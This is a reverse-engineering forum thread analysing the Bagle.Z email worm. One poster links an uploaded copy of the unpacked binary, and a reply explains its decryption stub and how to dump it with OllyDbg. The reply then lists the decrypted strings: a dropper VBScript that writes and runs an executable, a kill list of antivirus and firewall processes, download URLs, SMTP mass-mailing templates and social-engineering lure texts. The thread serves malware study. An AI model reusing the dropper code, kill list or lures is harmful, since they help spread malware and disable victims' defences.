Skip navigation.
Home

bagle.Z

|

i succeded with unpacking the bagle.z.cpl ... there
it exported file c:\winodws\cplstub.exe .... that
file was packed with upx .... np unpacking.

but now when i load the file into ida .... it doesnt
make sense to me, so i hope somebody here will be
able to help me.

http://www.yousendit.com/transfer.php?action=download&ufid=982239B1096DC426

here i uploaded the rared cplstub.exe in case anyone
is interested and prepared to help me.

thanks.

How doesn't it make sense to

How doesn't it make sense to you? Can you be more specific? If you could post screenshots of what IDA is doing that would be helpful.

how have you unpacked

how have you unpacked it?

manually oder with upx -d ?

if manually, have you also repaired the IAT?

and btw. lots of binaries i saw lately in the wild used encrypted strings and dynamic library importing, to complicate the reversers work.

cheers,
frank boldewin

ok, did some

ok, did some analysis.

here's some reversing info for you:

00405048 public start
00405048 start: ; end-address of decryption
00405048 push offset byte_404F6B
0040504D push offset dword_401000
00405052 call decrypter ; start-address of decryption
00405057 push offset unk_40A893 ; end-address of decryption
0040505C push offset unk_407000 ; start-address of decryption
00405061 call decrypter
00405066 add dword ptr ds:loc_405070+1, 100000h ; add 0x100000 to value 304f0a = 404f0a
00405070
00405070 loc_405070:
00405070 jmp near ptr 304F0Ah ; OEP = 404f0a

:decrypter pseudo code

1. set edi to startaddress of encrypted data
2. compare if startaddress = endaddress of encrypted data
3. if yes = leave function if no = goto 4
4. increment address in edi
5. 1st decryption using "not" mnem
6. 2nd decryption using "xor 5" mnem

after decryption has finished some self-modifying trick is used (add dword ptr ds:loc_405070+1, 100000h) to change the value at 0x4050701 to the real address, which is 404f0a.
IDA has problems identifying the jmp as command, thus press 'c' at address 405070 to fix this problem.

to have a clean decrypted binary for analysis, just use
ollydbg, load the binary, set a breakpoint at 0x405070 and run (f9) the code. after breakpoint occured trace (f7) to 0x404f0a (if ollydbg has identified it as code hit CTRL+A there) and use ollydump 3.0 to dump the binary.

that's it dude!

happy analysing. ;)

cheers,
frank boldewin

as goody below are the strings after decrypting the binary:

@Rich
.text
.rdata
@.data
.rsrc
.idata2
#don't even try :-)}
In a difficult world
In a nameless time
I want to survive
So, you will be mine
-- Bagle Author, 29.04.04, Germany.
KERNEL32.DLL
advapi32.dll
gdi32.dll
ole32.dll
SHELL32.dll
shlwapi.dll
urlmon.dll
user32.dll
wininet.dll
wsock32.dll
GetModuleFileNameA
GetProcAddress
GetSystemDirectoryA
GetTickCount
GetTimeFormatA
GetTimeZoneInformation
GetWindowsDirectoryA
GlobalAlloc
GlobalFree
LoadLibraryA
LocalAlloc
LocalFree
MapViewOfFile
MultiByteToWideChar
OpenProcess
Process32First
Process32Next
ReadFile
GetLogicalDriveStringsA
SetEndOfFile
SetFileAttributesA
SetFilePointer
Sleep
SystemTimeToFileTime
TerminateProcess
UnmapViewOfFile
WaitForSingleObject
WideCharToMultiByte
WinExec
WriteFile
lstrcatA
lstrcmpiA
lstrcpyA
lstrcpynA
lstrlenA
GetLocalTime
GetFileSize
GetDriveTypeA
CloseHandle
GetDateFormatA
GetCurrentProcessId
GetCurrentProcess
GetCommandLineA
FindNextFileA
FindFirstFileA
FindClose
ExitProcess
CreateToolhelp32Snapshot
CreateThread
CreateMutexA
CreateFileMappingA
CreateFileA
CopyFileA
CompareFileTime
ReleaseMutex
RegDeleteValueA
RegSetValueExA
RegDeleteKeyA
RegCreateKeyA
RegCloseKey
CreateBitmap
CreateCompatibleDC
CreateFontA
DeleteDC
DeleteObject
FloodFill
GetDIBits
GetDeviceCaps
GetObjectA
SelectObject
SetBkMode
SetTextColor
CreateStreamOnHGlobal
CoInitialize
ShellExecuteA
StrChrIA
StrDupA
StrStrIA
StrTrimA
StrRChrA
URLDownloadToFileA
wsprintfA
MessageBoxA
GetDesktopWindow
DrawTextA
CharUpperA
InternetCloseHandle
InternetOpenA
InternetOpenUrlA
InternetGetConnectedState
inet_addr
gethostname
gethostbyname
listen
closesocket
bind
accept
WSAStartup
send
recv
connect
select
socket
195.5.156.2
SOFTWARE\Time
drvddll.exe
\drvddll.exe
OUTPOST.EXE
NMAIN.EXE
NORTON_INTERNET_SECU_3.0_407.EXE
NPF40_TW_98_NT_ME_2K.EXE
NPFMESSENGER.EXE
NPROTECT.EXE
NSCHED32.EXE
NTVDM.EXE
NVARCH16.EXE
KERIO-WRP-421-EN-WIN.EXE
KILLPROCESSSETUP161.EXE
LDPRO.EXE
LOCALNET.EXE
LOCKDOWN.EXE
LOCKDOWN2000.EXE
LSETUP.EXE
CLEANPC.EXE
AVprotect9x.exe
CMGRDIAN.EXE
CMON016.EXE
CPF9X206.EXE
CPFNT206.EXE
CV.EXE
CWNB181.EXE
CWNTDWMO.EXE
ICSSUPPNT.EXE
DEFWATCH.EXE
DEPUTY.EXE
DPF.EXE
DPFSETUP.EXE
DRWATSON.EXE
ENT.EXE
ESCANH95.EXE
AVXQUAR.EXE
ESCANHNT.EXE
ESCANV95.EXE
AVPUPD.EXE
EXANTIVIRUS-CNET.EXE
FAST.EXE
FIREWALL.EXE
FLOWPROTECTOR.EXE
FP-WIN_TRIAL.EXE
FRW.EXE
FSAV.EXE
AUTODOWN.EXE
FSAV530STBYB.EXE
FSAV530WTBYB.EXE
FSAV95.EXE
GBMENU.EXE
GBPOLL.EXE
GUARD.EXE
GUARDDOG.EXE
HACKTRACERSETUP.EXE
HTLOG.EXE
HWPE.EXE
IAMAPP.EXE
IAMAPP.EXE
IAMSERV.EXE
ICLOAD95.EXE
ICLOADNT.EXE
ICMON.EXE
ICSUPP95.EXE
ICSUPPNT.EXE
IFW2000.EXE
IPARMOR.EXE
IRIS.EXE
JAMMER.EXE
ATUPDATER.EXE
AUPDATE.EXE
KAVLITE40ENG.EXE
KAVPERS40ENG.EXE
KERIO-PF-213-EN-WIN.EXE
KERIO-WRL-421-EN-WIN.EXE
BORG2.EXE
BS120.EXE
CDP.EXE
CFGWIZ.EXE
CFIADMIN.EXE
CFIAUDIT.EXE
AUTOUPDATE.EXE
CFINET.EXE
NAVAPW32.EXE
NAVDX.EXE
NAVSTUB.EXE
NAVW32.EXE
NC2000.EXE
NCINST4.EXE
AUTOTRACE.EXE
NDD32.EXE
NEOMONITOR.EXE
NETARMOR.EXE
NETINFO.EXE
NETMON.EXE
NETSCANPRO.EXE
NETSPYHUNTER-1.2.EXE
NETSTAT.EXE
NISSERV.EXE
NISUM.EXE
CFIAUDIT.EXE
LUCOMSERVER.EXE
AGENTSVR.EXE
ANTI-TROJAN.EXE
ANTI-TROJAN.EXE
ANTIVIRUS.EXE
ANTS.EXE
APIMONITOR.EXE
APLICA32.EXE
APVXDWIN.EXE
ATCON.EXE
ATGUARD.EXE
ATRO55EN.EXE
ATWATCH.EXE
AVCONSOL.EXE
AVGSERV9.EXE
AVSYNMGR.EXE
BD_PROFESSIONAL.EXE
BIDEF.EXE
BIDSERVER.EXE
BIPCP.EXE
BIPCPEVALSETUP.EXE
BISP.EXE
BLACKD.EXE
BLACKICE.EXE
BOOTWARN.EXE
NWINST4.EXE
NWTOOL16.EXE
OSTRONET.EXE
OUTPOSTINSTALL.EXE
OUTPOSTPROINSTALL.EXE
PADMIN.EXE
PANIXK.EXE
PAVPROXY.EXE
DRWEBUPW.EXE
PCC2002S902.EXE
PCC2K_76_1436.EXE
PCCIOMON.EXE
PCDSETUP.EXE
PCFWALLICON.EXE
PCFWALLICON.EXE
PCIP10117_0.EXE
PDSETUP.EXE
PERISCOPE.EXE
PERSFW.EXE
PF2.EXE
AVLTMAIN.EXE
PFWADMIN.EXE
PINGSCAN.EXE
PLATIN.EXE
POPROXY.EXE
POPSCAN.EXE
PORTDETECTIVE.EXE
PPINUPDT.EXE
drvsys.exe
PPTBC.EXE
PPVSTOP.EXE
PROCEXPLORERV1.0.EXE
PROPORT.EXE
PROTECTX.EXE
PSPF.EXE
WGFE95.EXE
WHOSWATCHINGME.EXE
AVWUPD32.EXE
NUPGRADE.EXE
WHOSWATCHINGME.EXE
WINRECON.EXE
WNT.EXE
WRADMIN.EXE
WRCTRL.EXE
WSBGATE.EXE
WYVERNWORKSFIREWALL.EXE
XPF202EN.EXE
ZAPRO.EXE
ZAPSETUP3001.EXE
ZATUTOR.EXE
CFINET32.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ET.EXE
ICSUPP95.EXE
MCUPDATE.EXE
CFINET32.EXE
CLEAN.EXE
CLEANER.EXE
LUINIT.EXE
MCAGENT.EXE
MCUPDATE.EXE
MFW2EN.EXE
MFWENG3.02D30.EXE
MGUI.EXE
MINILOG.EXE
MOOLIVE.EXE
MRFLUX.EXE
MSCONFIG.EXE
MSINFO32.EXE
MSSMMC32.EXE
MU0311AD.EXE
NAV80TRY.EXE
ZAUINST.EXE
ZONALM2601.EXE
ZONEALARM.EXE
http://www.spiegel.de/5.php
http://www.leipziger-messe.de/5.php
http://www.mobile.de/5.php
http://www.neformal.de/5.php
http://www.avh.de/5.php
http://www.goethe.de/5.php
http://www.degruyter.de/5.php
http://www.heise.de/5.php
http://www.autoscout24.de/5.php
http://www.russische-botschaft.de/5.php
http://www.bmbf.de/5.php
http://www.berlinale.de/5.php
http://www.hamann-motorsport.de/5.php
http://Spaceclub.de/5.php
http://www.fracht-24.de/5.php
http://www.loveparade.de/5.php
http://www.dalnoboyshik.de/5.php
http://www.deutschland.de/5.php
http://www.ac-schnitzer.de/5.php
http://abakan.strana.de/5.php
http://www.emis.de/5.php
http://www.dwd.de/5.php
http://www.ifdesign.de/5.php
http://www.beckers-systems.de/5.php
http://www.pri-wo-hamburg.de/5.php
http://virtualzone.de/5.php
http://www.mitsumi.de/5.php
http://www.fu-berlin.de/5.php
http://www.nabu.de/5.php
http://www.tekeli.de/5.php
http://www.welt.de/5.php
http://www.gospel-nations.de/5.php
http://www.neznakomez.de/5.php
http://www.tecchannel.de/5.php
http://www.php-resource.de/5.php
http://www.windac.de/5.php
http://www.gsi.de/5.php
http://www.turism.de/5.php
http://jakimov.golos.de/5.php
http://www.www.mirko-becker.gmxhome.de/5.php
http://vg.xtonne.de/5.php
http://www.go-amman.de/5.php
http://3treepoint.com/5.php
http://www.restarted-alliance.de/5.php
http://2udar.ligakvn.de/5.php
http://www.sprach-zertifikat.de/5.php
http://www.dfg.de/5.php
http://www.kliniken.de/5.php
http://www.winfuture.de/5.php
http://www.hamburg.de/5.php
http://www.auma.de/5.php
http://www.teac.de/5.php
http://www.eumetsat.de/5.php
http://www.documenta.de/5.php
http://hardvision.ru/5.php
http://www.bruecke-osteuropa.de/5.php
http://www.mk-motorsport.de/5.php
http://www.bundesregierung.de/5.php
http://ditec.um.es/5.php
http://www.insel-ruegen-hotel.de/5.php
http://www.tib.uni-hannover.de/5.php
http://www.chugai.de/5.php
http://www.blauer-engel.de/5.php
http://www.partner-inform.de/5.php
http://mhv24.de/5.php
http://villakinderbunt.de/5.php
http://s318.evanzo-server.de/5.php
http://andimeisslein.de/5.php
http://tobimayer.de/5.php
http://markusgimenez.de/5.php
http://www.fiz-karlsruhe.de/5.php
http://www.gdch.de/5.php
http://www.intermatgmbh.de/5.php
http://www.hotel-pension-spree.de/5.php
http://vg.xtonne.de/5.php
http://www.low-spirit.de/5.php
http://www.red-dot.de/5.php
http://www.fernuni-hagen.de/5.php
http://www.ruletka.de/5.php
http://www.deutsch-als-fremdsprache.de/5.php
http://www.uni-oldenburg.de/5.php
http://fotos.schneider.bards.de/5.php
http://www.deutsches-museum.de/5.php
http://www.de-bug.de/5.php
http://www.uni-stuttgart.de/5.php
http://www.embl-heidelberg.de/5.php
http://www.mdz-moskau.de/5.php
http://www.mitsubishi-evs.de/5.php
http://www.siegenia-aubi.com/5.php
http://www.cicv.fr/5.php
http://www.paromi.de/5.php
http://www.jura.uni-sb.de/5.php
http://www.exactaudiocopy.de/5.php
%s?p=%lu&id=%s
Arial
image/bmp
image/gif
image/jpeg
gdiplus.dll
GdiplusStartup
GdiplusShutdown
GdipGetImageEncodersSize
GdipGetImageEncoders
GdipLoadImageFromStream
GdipSaveImageToFile
GdipDisposeImage
.text
.reloc
\cplstub.exe
open
CloseHandle
CreateFileA
GetWindowsDirectoryA
WriteFile
lstrcatA
KERNEL32.dll
ShellExecuteA
SHELL32.dll
dim filesys, filetxt, getname, path, textfile, i
textfile = "vss_2.exe"
Set filesys = CreateObject("Scripting.FileSystemObject")
Set filetxt = filesys.CreateTextFile(textfile, True)
getname = filesys.GetFileName(path)
dim a
a=Array(
for i=0 to
filetxt.Write(chr(a(i)))
next
filetxt.Close
dim z
dim zz
Const ForReading = 1, ForWriting = 2, ForAppending = 3
const RemoteExe = "vss_2.exe"
set zz = wscript.createobject("wscript.shell")
z = zz.run ("vss_2.exe")
wscript.quit

Windows Update

MyFile = "qfl.vbs"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TSO = FSO.CreateTextFile(MyFile, True)
TSO.write "dim filesys, filetxt, getname, path, textfile, i" & vbcrlf
TSO.write "textfile = ""qwrk.exe""" & vbcrlf
TSO.write "Set filesys = CreateObject(""Scripting.FileSystemObject"")" & vbcrlf
TSO.write "Set filetxt = filesys.CreateTextFile(textfile, True)" & vbcrlf
TSO.write "getname = filesys.GetFileName(path)" & vbcrlf
TSO.write "dim a" & vbcrlf
TSO.write "a=Array(
)" & vbcrlf
TSO.write "for i=0 to
" & vbcrlf
TSO.write "filetxt.Write(chr(a(i)))" & vbcrlf
TSO.write "next" & vbcrlf
TSO.write "filetxt.Close" & vbcrlf
TSO.write "dim z" & vbcrlf
TSO.write "dim zz" & vbcrlf
TSO.write "Const ForReading = 1, ForWriting = 2, ForAppending = 3" & vbcrlf
TSO.write "const RemoteExe = ""qwrk.exe""" & vbcrlf
TSO.write "set zz = wscript.createobject(""wscript.shell"")" & vbcrlf
TSO.write "z = zz.run (""qwrk.exe"")" & vbcrlf
TSO.write "wscript.quit" & vbcrlf
Set TSO = Nothing
Set FSO = Nothing
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "qfl.vbs", 0, false

window.close()

%hu,
%hu
%lu
Can't find a viewer associated with the file
Error!
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
open
.exe
.scr
.com
.zip
.vbs
.hta
.cpl
Internet Explorer 5.01
HELO %s.net
HELO %s.com
HELO %s.org
RSET
MAIL FROM:
RCPT TO:
DATA
%lu
@microsoft
rating@
f-secur
news
update
anyone@
bugs@
contract@
feste
gold-certs@
help@
info@
nobody@
noone@
kasp
admin
icrosoft
support
ntivi
unix
bsd
linux
listserv
certific
sopho
@foo
@iana
free-av
@messagelab
winzip
google
winrar
samples
abuse
panda
cafee
spam
pgp
@avp.
noreply
local
root@
postmaster@
*.*
.wab
.txt
.msg
.htm
.shtm
.stm
.xml
.dbx
.mbx
.mdx
.eml
.nch
.mmf
.ods
.cfg
.asp
.php
.pl
.wsh
.adb
.tbb
.sht
.xls
.oft
.uin
.cgi
.mht
.dhtm
.jsp
shar
Microsoft Office 2003 Crack, Working!.exe
Microsoft Windows XP, WinXP Crack, working Keygen.exe
Microsoft Office XP working Crack, Keygen.exe
Porno, sex, oral, anal cool, awesome!!.exe
Porno Screensaver.scr
Serials.txt.exe
KAV 5.0
Kaspersky Antivirus 5.0
Porno pics arhive, xxx.exe
Windows Sourcecode update.doc.exe
Ahead Nero 7.exe
Windown Longhorn Beta Leak.exe
Opera 8 New!.exe
XXX hardcore images.exe
WinAmp 6 New!.exe
WinAmp 5 Pro Keygen Crack Update.exe
Adobe Photoshop 9 full.exe
Matrix 3 Revolution English Subtitles.exe
ACDSee 9.exe
ddd',' dd MMM yyyy
HH:mm:ss
%03i%02i
Date: %s
To: "%s"
From: "%s"
Subject: %s
Message-ID:
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--------%s"
----------%s
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit
----------%s
Content-Type: %s; name="%s.%s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="%s.%s"
Content-ID:
----------%s
Content-Type: application/octet-stream; name="%s%s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="%s%s"
----------%s--

Password: %s
Pass - %s
Password - %s
Re: Msg reply
Re: Hello
Re: Yahoo!
Re: Thank you!
Re: Thanks :)
RE: Text message
Re: Document
Incoming message
Re: Incoming Message
RE: Incoming Msg
RE: Message Notify
Notification
Changes..
New changes
Hidden message
Fax Message Received
Protected message
RE: Protected message
Forum notify
Site changes
Re: Hi
Encrypted document
.sys
.dat
.idx
.vxd
.vid
.dll
For security reasons attached file is password protected. The password is
For security purposes the attached file is password protected. Password --
Note: Use password to open archive.
Attached file is protected with the password for security reasons. Password is
In order to read the attach you have to use the following password:
Archive password:
Password -
Password:
Information
Details
text_document
Readme
Document
Info
the_message
Details
MoreInfo
Message
You_will_answer_to_me
Half_Live
Counter_strike
Loves_money
the_message
Alive_condom
Joke
Toy
Nervous_illnesses
Manufacture
You_are_dismissed
Your_complaint
Your_money
Smoke
I_search_for_you
SeDebugPrivilege
advapi32.dll
AdjustTokenPrivileges
InitializeAcl
LookupPrivilegeValueA
OpenProcessToken
SetSecurityInfo
kernel32.dll
RegisterServiceProcess
iphlpapi.dll
GetNetworkParams
MuXxXxTENYKSDesignedAsTheFollowerOfSkynet-D
'D'r'o'p'p'e'd'S'k'y'N'e't'
_-oOaxX|-+S+-+k+-+y+-+N+-+e+-+t+-|XxKOo-_
[SkyNet.cz]SystemsMutex
AdmSkynetJklS003
____--->>>>U

frank

is rapidly becoming my favorite OC poster. Come on guys, whos gonna step up next :)

V.